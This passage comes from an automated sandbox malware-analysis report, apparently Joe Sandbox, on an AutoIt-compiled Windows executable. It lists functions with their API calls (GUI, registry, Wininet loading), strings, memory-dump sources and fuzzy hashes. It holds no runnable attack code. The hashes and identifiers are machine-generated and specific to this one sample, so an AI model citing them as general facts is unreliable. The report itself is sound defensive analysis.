    • SetClassLongW.USER32(00000000,000000F6,00000000), ref: 00406894
    • GetStockObject.GDI32(00000011), ref: 0040689D
    • SendMessageW.USER32(00000000,00000030,00000000), ref: 004068A8
      • Part of subcall function 00405E8E: GetCursorPos.USER32(?), ref: 00405E9B
      • Part of subcall function 00405E8E: ScreenToClient.USER32(?,?), ref: 00405EB8
      • Part of subcall function 00405E8E: GetAsyncKeyState.USER32(00000001), ref: 00405EFB
      • Part of subcall function 00405E8E: GetKeyState.USER32(00000001), ref: 00405F09
      • Part of subcall function 00405E8E: GetAsyncKeyState.USER32(00000002), ref: 00405F23
      • Part of subcall function 00405E8E: GetKeyState.USER32(00000002), ref: 00405F2C
    • SetTimer.USER32(00000000,00000002,00000028,0040D302), ref: 004069AE
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: System$Metrics$RectState$Window$AsyncClientInfoParameters$AdjustBrushClassColorCreateCursorLongMessageObjectScreenSendStockTimer
    • String ID: @$AutoIt v3 GUI
    • API String ID: 1855594723-3359773793
    • Opcode ID: ed0fa0f3a7f5624e9a70382f54bd6e91281dbcd9423c2e20f3a68b4aaacbdfbb
    • Instruction ID: 514e7c4c687a5ce374bb04586ee4052b998ddc7ec21dd9060e496e987db54609
    • Opcode Fuzzy Hash: ed0fa0f3a7f5624e9a70382f54bd6e91281dbcd9423c2e20f3a68b4aaacbdfbb
    • Instruction Fuzzy Hash: 09C149B1900249DFDF11CF69C884ADA7FB4AF59314F05027AEE19AB296D7748890CF68
    Function 0040A09F Relevance: 33.4, APIs: 22, Instructions: 439windowCOMMON
    Download Yara Rule
    APIs
    • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0040A134
    • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0040A1D9
    • SendMessageW.USER32(?,00001102,00000002,?), ref: 0040A1EE
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$Window
    • String ID:
    • API String ID: 2326795674-0
    • Opcode ID: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
    • Instruction ID: 1ccb3f83f87ebe80ca020bc58a8cdf7a85d923699afa6deb09b0e52051601b14
    • Opcode Fuzzy Hash: 30ae90ada34b8915fe5d48397d56539aa5b534ff0d9fec3e80aeb03df8ee1511
    • Instruction Fuzzy Hash: 4A028171504348ABEF21CF24CD85BE93BE0AF09354F28416AFD61AA2E2D378DC55DB49
    Function 00441086 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 348windowCOMMON
    Download Yara Rule
    APIs
    • GetCursorPos.USER32(?), ref: 004411F0
    • GetDesktopWindow.USER32 ref: 00441202
    • GetWindowRect.USER32(00000000), ref: 00441209
    • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 004412E5
    • SendMessageW.USER32(00000000,00000432,00000000), ref: 00441302
    • SendMessageW.USER32(?,00000439,00000000), ref: 00441326
    • SendMessageW.USER32(?,00000421,?,?), ref: 00441339
    • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0044134C
    • IsWindowVisible.USER32(?), ref: 00441354
    • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0044136F
    • SendMessageW.USER32(?,00000411,00000001,00000000), ref: 00441382
    • GetWindowRect.USER32(?,?), ref: 00441398
    • CopyRect.USER32(?,?), ref: 0044140C
    • FreeLibrary.KERNEL32(?), ref: 0044144C
    • FreeLibrary.KERNEL32(?), ref: 00441457
    • SendMessageW.USER32(?,00000412,00000000,?), ref: 00441478
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$Window$Rect$FreeLibrary$CopyCreateCursorDesktopVisible
    • String ID: tooltips_class32$Wu
    • API String ID: 1377013427-4211358266
    • Opcode ID: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
    • Instruction ID: 08c47ab1ab3467a4e06423d45bef535535d0a513bd421b0415e228815a64da0f
    • Opcode Fuzzy Hash: 43c6dc1a8b3db3df7b7c2940e1ab202c272af0dccaaacba1c09e653d6df8d75a
    • Instruction Fuzzy Hash: ACD17870600248EFEF14DF69C988A9A7BA4FF09350F14816AF919D7661D778ECC4CB98
    Function 0040B005 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 205windowlibraryCOMMON
    Download Yara Rule
    APIs
    • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0040B0B5
    • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,00407B65,?,?,?), ref: 0040B0C7
    • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B0FD
    • LoadImageW.USER32(?,e{@,00000001,?,?,00000000), ref: 0040B11B
    • LoadImageW.USER32(00000000,e{@,00000001,?,?,00000000), ref: 0040B137
    • LoadImageW.USER32(?,00000000,00000001,?,?,00000000), ref: 0040B15E
    • FreeLibrary.KERNEL32(?), ref: 0040B16D
    • ExtractIconExW.SHELL32(?,e{@,00000000,?,00000001), ref: 0040B1B2
    • DestroyCursor.USER32(?), ref: 0040B1C0
    • SendMessageW.USER32(?,00000170,?,00000000), ref: 0040B1DF
    • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0040B1ED
    • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,00407B65,?,?,?), ref: 0040B208
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIconMoveWindow
    • String ID: .dll$.exe$.icl$e{@$e{@$Wu
    • API String ID: 1851087544-3256305081
    • Opcode ID: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
    • Instruction ID: d209de9e82884b2b1933e4d2be4e6672a96570fc34edf142eca6f664b014f0a1
    • Opcode Fuzzy Hash: f0c011a4a81bb99b9a90fc530ef8540607cced80a587fd92c96e883503bbf4b5
    • Instruction Fuzzy Hash: 2C618D72840219BEDB119FA4DC819BF7BBCEF08741F10806BF911E6181D7799E95CB98
    Function 0043BC56 Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 448registryCOMMON
    Download Yara Rule
    APIs
    • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043BD0B
    • RegCreateKeyExW.ADVAPI32(00000000,?,00000000,0045C6D0,00000000,?,00000000,?,?), ref: 0043BD4D
    • RegCloseKey.ADVAPI32(?), ref: 0043BD8C
    • RegCloseKey.ADVAPI32(0000000B), ref: 0043C0EA
    • RegCloseKey.ADVAPI32(?,00000000), ref: 0043C0FB
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Close$ConnectCreateRegistry
    • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ
    • API String ID: 3641090821-2346799943
    • Opcode ID: 8cf315b22958215591c98de0ef14342ce1293641f5df6eb40e6edde85d215f73
    • Instruction ID: 4e5dcfff71b9e01845b74f9f44c6162979518723417988faa36490e585955599
    • Opcode Fuzzy Hash: 8cf315b22958215591c98de0ef14342ce1293641f5df6eb40e6edde85d215f73
    • Instruction Fuzzy Hash: 68F18035900114DBDF14EF55DC82A9AB374EF08324F29909BEA05AF252DB38ED81DBD9
    Function 0042A8FA Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 286COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FD05: LoadLibraryA.KERNEL32(Wininet.dll,0042A928), ref: 0042FD10
      • Part of subcall function 0042FD05: GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 0042FD22
    • FreeLibrary.KERNEL32(00000000), ref: 0042ACB4
      • Part of subcall function 0042B114: FreeLibrary.KERNEL32(00000000,?,00000003), ref: 0042B198
    • GetLastError.KERNEL32(00000002,00000000,00000002,?,?,?,?), ref: 0042A9E1
    • GetLastError.KERNEL32 ref: 0042AA56
    • FreeLibrary.KERNEL32(?), ref: 0042AA7A
    • FreeLibrary.KERNEL32(?), ref: 0042AA90
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$ErrorLast$AddressLoadProc
    • String ID: Wu
    • API String ID: 575660042-4083010176
    • Opcode ID: 62498265a6ceed1723bdac64fc116e2428d419dead5935b9ceaf4d3a7e747648
    • Instruction ID: f38a0db017b7cb7883463efc0abb6f25cc167194d0c8d956c07354d1d99e9000
    • Opcode Fuzzy Hash: 62498265a6ceed1723bdac64fc116e2428d419dead5935b9ceaf4d3a7e747648
    • Instruction Fuzzy Hash: 64C17171A00229EFDF15DFA1D944ADEBBB9FF08304F504067E805A2211D7389E95CF9A
    Function 004530C8 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 117fileCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0045314B
    • _strcat.LIBCMT ref: 0045315E
    • _strlen.LIBCMT ref: 0045316B
    • _strlen.LIBCMT ref: 0045317A
    • _strncpy.LIBCMT ref: 00453191
    • _strlen.LIBCMT ref: 0045319A
    • _strlen.LIBCMT ref: 004531A7
    • _strcat.LIBCMT ref: 004531C5
    • _strlen.LIBCMT ref: 0045320A
    • GetStdHandle.KERNEL32(000000F4,0045BF80,00000000,?,00000000,00000000,00000000,00000000), ref: 00453215
    • WriteFile.KERNEL32(00000000), ref: 0045321C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
    • String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
    • API String ID: 3601721357-4022980321
    • Opcode ID: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
    • Instruction ID: a6262fdefab13baafbc7e32f5453cb19c54bbfc7fce803c14b00e12ad1906f00
    • Opcode Fuzzy Hash: cce6ef7323223f5c36d370e3365a6b8dfc54963e81cf1e794ab88ca9dee6c464
    • Instruction Fuzzy Hash: CC310E72500604AAE724EF759C96EAF7368EB04346F20491FF811D3143DA79E948DB5D
    Function 004545BB Relevance: 26.3, APIs: 7, Strings: 8, Instructions: 99COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetModuleFileNameA.KERNEL32(00000000,?,00000104,0045C340,00000118,0044C951,00000001,00000000,0045B3B0,00000008,00453238), ref: 0045463F
    • _strcat.LIBCMT ref: 00454655
    • _strlen.LIBCMT ref: 00454665
    • _strlen.LIBCMT ref: 00454676
    • _strncpy.LIBCMT ref: 00454690
    • _strlen.LIBCMT ref: 00454699
    • _strcat.LIBCMT ref: 004546B5
    Strings
    • A security error of unknown cause has been detected which hascorrupted the program's internal state. The program cannot safelycontinue execution and must now be terminated., xrefs: 0045460A
    • Microsoft Visual C++ Runtime Library, xrefs: 004546F0
    • <program name unknown>, xrefs: 00454649
    • Program: , xrefs: 004546C6
    • Unknown security failure detected!, xrefs: 00454605
    • ..., xrefs: 0045468A
    • A buffer overrun has been detected which has corrupted the program'sinternal state. The program cannot safely continue execution and mustnow be terminated., xrefs: 00454620
    • Buffer overrun detected!, xrefs: 0045461B, 004546B3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: _strlen$_strcat$FileModuleName_strncpy
    • String ID: ...$<program name unknown>$A buffer overrun has been detected which has corrupted the program'sinternal state. The program cannot safely continue execution and mustnow be terminated.$A security error of unknown cause has been detected which hascorrupted the program's internal state. The program cannot safelycontinue execution and must now be terminated.$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!
    • API String ID: 3058806289-1010210193
    • Opcode ID: 7c6a0277e9c0f956f5106386100a7144fd3d0d8efe70c0ca049d5aaf753f3756
    • Instruction ID: 20cdc24c19fa16f92b1fdee65682d87b56783f751998074f5fad175280d1cb76
    • Opcode Fuzzy Hash: 7c6a0277e9c0f956f5106386100a7144fd3d0d8efe70c0ca049d5aaf753f3756
    • Instruction Fuzzy Hash: 9D31C4719006086FE710AB619C92F9F3768EB46319F10405BF800AA183DB7CEE59CB9D
    Function 0044C499 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 71libraryloadermemoryCOMMON
    Download Yara Rule
    APIs
    • GetModuleHandleA.KERNEL32(kernel32.dll,75570A60,00000000,0044BF78,?,0045B1B8,00000060), ref: 0044C4B1
    • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0044C4C9
    • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0044C4D6
    • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0044C4E3
    • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0044C4F0
    • FlsAlloc.KERNEL32(Function_0004C323,?,0045B1B8,00000060), ref: 0044C52D
    • FlsSetValue.KERNEL32(00000000,?,0045B1B8,00000060), ref: 0044C55A
    • GetCurrentThreadId.KERNEL32 ref: 0044C56E
      • Part of subcall function 0044C282: FlsFree.KERNEL32(00000005,0044C583,?,0045B1B8,00000060), ref: 0044C28D
      • Part of subcall function 0044C282: RtlDeleteCriticalSection.NTDLL(00000000), ref: 0044C5EC
      • Part of subcall function 0044C282: RtlDeleteCriticalSection.NTDLL(00000005), ref: 0044C616
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
    • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$`Wu$kernel32.dll$XF
    • API String ID: 2635119114-3793327862
    • Opcode ID: 6aab792099a48fd3b5fd67e313977c4f19e88fcfdac56340a8163f1b3c9300aa
    • Instruction ID: 5ef84d50a295475a9834f727cfda9a2385d3a30a7da8ed7b00238fe560ffcff3
    • Opcode Fuzzy Hash: 6aab792099a48fd3b5fd67e313977c4f19e88fcfdac56340a8163f1b3c9300aa
    • Instruction Fuzzy Hash: B421B630906711EA97509F7AAC8851A7EA4E741769714067BF818D3261EBB8D804CB5D
    Function 0040E543 Relevance: 25.7, APIs: 17, Instructions: 176windowtimeCOMMON
    Download Yara Rule
    APIs
    • LoadIconW.USER32(000000A1), ref: 0040E556
    • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0040E568
    • SetWindowTextW.USER32(?,?), ref: 0040E579
    • GetDlgItem.USER32(?,000003EA), ref: 0040E592
    • SetWindowTextW.USER32(00000000,?), ref: 0040E598
    • GetDlgItem.USER32(?,000003E9), ref: 0040E5AD
    • SetWindowTextW.USER32(00000000,?), ref: 0040E5B3
    • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0040E5D7
    • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0040E5EC
    • GetWindowRect.USER32(?,?), ref: 0040E5F5
    • SetWindowTextW.USER32(?,?), ref: 0040E673
    • GetDesktopWindow.USER32 ref: 0040E67D
    • GetWindowRect.USER32(00000000), ref: 0040E684
    • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0040E6D0
    • GetClientRect.USER32(?,?), ref: 0040E6DD
    • PostMessageW.USER32(?,00000005,00000000,?), ref: 0040E702
    • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0040E733
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
    • String ID:
    • API String ID: 3869813825-0
    • Opcode ID: 518dddbba622dd82d7c493602ea365595f60099f1130438587eb39e9325378c9
    • Instruction ID: 311043bbe2a0cac2703a3cba35c520e36c28c6709c8c22dbd14506481d928203
    • Opcode Fuzzy Hash: 518dddbba622dd82d7c493602ea365595f60099f1130438587eb39e9325378c9
    • Instruction Fuzzy Hash: 18614C71A0061AFFDB019FAADD44AAEBBB9FF08305F004525E500B26A1D735ED65CF98
    Function 004404F4 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 400COMMON
    Download Yara Rule
    APIs
    • CharUpperBuffW.USER32(?,00000003), ref: 00440567
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharUpper
    • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
    • API String ID: 3964851224-719923060
    • Opcode ID: 361a3ca69b3397bcbd0af91930995ec628a7fb33d946420f52438878d1894f0c
    • Instruction ID: 91dec06f46bf67a56ffbca69d406a93361d98d2bcf5d6cb5d48021af8806dc55
    • Opcode Fuzzy Hash: 361a3ca69b3397bcbd0af91930995ec628a7fb33d946420f52438878d1894f0c
    • Instruction Fuzzy Hash: 77F1A135904204ABEF10EF51C881ADD77B0AF04324F15809BE9157B297CB7CEE95DB99
    Function 0040370F Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 297COMMON
    Download Yara Rule
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID:
    • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPTITLE$TITLE
    • API String ID: 0-1002644998
    • Opcode ID: b775c76aaabb7ba7156cb814bf6caf9c6bccd3d2c61fbd903a8bcc880dd4e17f
    • Instruction ID: f31cf381076a0f888e4b9b29ebd17d05e6bef760160a7657eb3a5a9d70ff2295
